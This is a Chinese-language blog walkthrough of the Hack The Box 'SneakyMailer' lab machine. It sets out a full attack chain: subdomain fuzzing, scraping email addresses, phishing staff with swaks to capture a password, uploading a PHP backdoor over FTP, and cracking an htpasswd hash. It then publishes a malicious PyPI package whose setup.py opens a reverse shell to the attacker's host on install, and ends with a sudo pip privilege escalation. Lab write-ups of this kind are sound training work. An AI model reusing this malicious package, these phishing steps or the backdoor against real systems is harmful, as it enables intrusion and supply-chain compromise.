【Hack The Box】linux练习-- SneakyMailer

HTB 学习笔记

【Hack The Box】linux练习-- SneakyMailer


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月23日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests

http://sneakycorp.htb

21

没戏

爆破域名

wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185

sneakycorp.htb
dev.sneakycorp.htb
这两个添加到hosts

25

Postfix smtpd

80

Sneaky Corp
在这里插入图片描述在这里插入图片描述也要看另外获取的域名
另一个域名是同站
在这里插入图片描述
有很多邮箱,我将采用工具爬去所有的邮箱
而只所以先爬邮箱是因为
以下的两种方式都可以

curl -s http://sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
后者
cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 

在这里插入图片描述
我们在 swaks 的参数中使用 cat 命令。 cat 命令将读取电子邮件,tr 将在电子邮件末尾添加逗号,我们将能够向从团队页面提取的所有电子邮件发送邮件。 但如果它不包含任何链接,则不是钓鱼邮件。 我们将输入我们自己的 IP 地址,以便接收在阅读该电子邮件时可能产生的任何请求。 我们也可以在本地机器上启动 netcat 以捕获是否生成任何请求。

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28     

在这里插入图片描述
显示

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

获取的资料如下
paulbyrd@sneakymailer.htb
IMAP
sneakycorp.htb
paulbyrd
密码是:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

imap

有了 Paul 的信誉,我可以查看他的电子邮件。 我可以手动与 IMAP 交互 nc在端口 143 上(或者如果我想在端口 993 上使用 TLS 版本,我可以使用 ncat(这是 nc在我的机器上别名为)与

apt install evolution

编辑添加账号
在这里插入图片描述选择邮件账号

在这里插入图片描述添加用户名

在这里插入图片描述

在这里插入图片描述在都设置好之后就会跳出输入密码的窗口
在这里插入图片描述
在这里插入图片描述而后我们会发现邮件

Hello administrator, I want to change this password for the developer account
 
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do it

给出了我们一个凭据

ftp

我们用这个凭据登陆ftp
在这里插入图片描述都没有什么东西,看着像网站,并且有index.php,因为这是首页
并且与我们的目录爆破结果一致
那么我们在ftp上上传的文件就可以在王帐上访问到,所以我们可以顺其自然的上传一个后门文件(php)然后去浏览器访问即可
在这里插入图片描述

我将尝试上传

在这里插入图片描述
在这里插入图片描述
但是没了,应该是被清理了,这次我将衔接得快一点
在这里插入图片描述
回来看确实没有了

动作快一点就可以成功

在这里插入图片描述

深入

盒子上有两个用户,low和vmail:
这就是 Paul Byrd 的第二封电子邮件有用的地方。 它告诉 low 下载并运行本地 pypi 中的所有 Python 包。 绝对是一个暗示,我应该把一个放在那里。

pypi

在这里插入图片描述pypi.sneakycorp.htb

在这里插入图片描述有这个文件,passwd很敏感

$ cat .htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

在这里插入图片描述

hashcat -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt --user --force

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

接下来就是想办法登陆到pypi服务器了,既然外部没有开放,那就内部看看,实在不行到时候做个代理做出去

ww-data@sneakymailer:/home/low$ netstat -tnlp4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -  

发现了奇怪的nginx
ls -la /etc/nginx/sites-enabled

在这里插入图片描述cat pypi.sneakycorp.htb

server {
        listen 0.0.0.0:8080 default_server;
        listen [::]:8080 default_server;
        server_name _;
}
server {
        listen 0.0.0.0:8080;
        listen [::]:8080;
        server_name pypi.sneakycorp.htb;

        location / {
                proxy_pass http://127.0.0.1:5000;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;

发现pypi开头的域名8080端口代理了5000端口

我先把pypi开头的域名加入hosts,然后访问8080,然后输入刚才的得到的密码
pypi.sneakycorp.htb
在这里插入图片描述利用的凭据如下

pypi/soufianeelhaoui

创建恶意python包

我会为我的包创建一个文件夹, revshell,并创建以下文件夹结构和文件:

mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..

再看一下结构,如下即可

tree revshell

在这里插入图片描述

init.py是合法应用程序实际启动的地方,它必须存在才能使包工作。 我只会用 touch创建一个空文件。

我也会创建空 setup.cfg和 README.md文件。 README.md是包的文档。 setup.cfg应包含有关包元数据
README.md,我并不需要他们。但将它们作为空文件包含在内会显得更专业。

setup.py
恶意代码将进入 setup.py. 我实际上已经创建了一个恶意的 setup.py
代码如下,要修改自己的ip和端口

import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        RHOST = '10.10.14.29'
        RPORT = 9999
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        for i in range(3):
            os.dup2(s.fileno(), i)
        p = subprocess.call(["/bin/sh","-i"])

setup(name='revshell',
      version='0.0.1',
      description='Reverse Shell',
      author='0xdf',
      author_email='0xdf',
      url='http://sneakycopy.htb',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': Exploit})

到此为止我们只需要这一个有价值的文件
其他的都是为了显得专业
python setup.py sdist
在这里插入图片描述在这里插入图片描述打包成了一个dist

上传

cat ~/.pypirc
关注index-servers,下面要用

[distutils]
index-servers =
  sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

在这里插入图片描述
安装

python setup.py sdist upload -r sneaky

在这里插入图片描述本地端口接收到shell
在这里插入图片描述

pip提权

在这里插入图片描述
简单

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

就这样,要等一会,三分中

在这里插入图片描述这还有很多

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值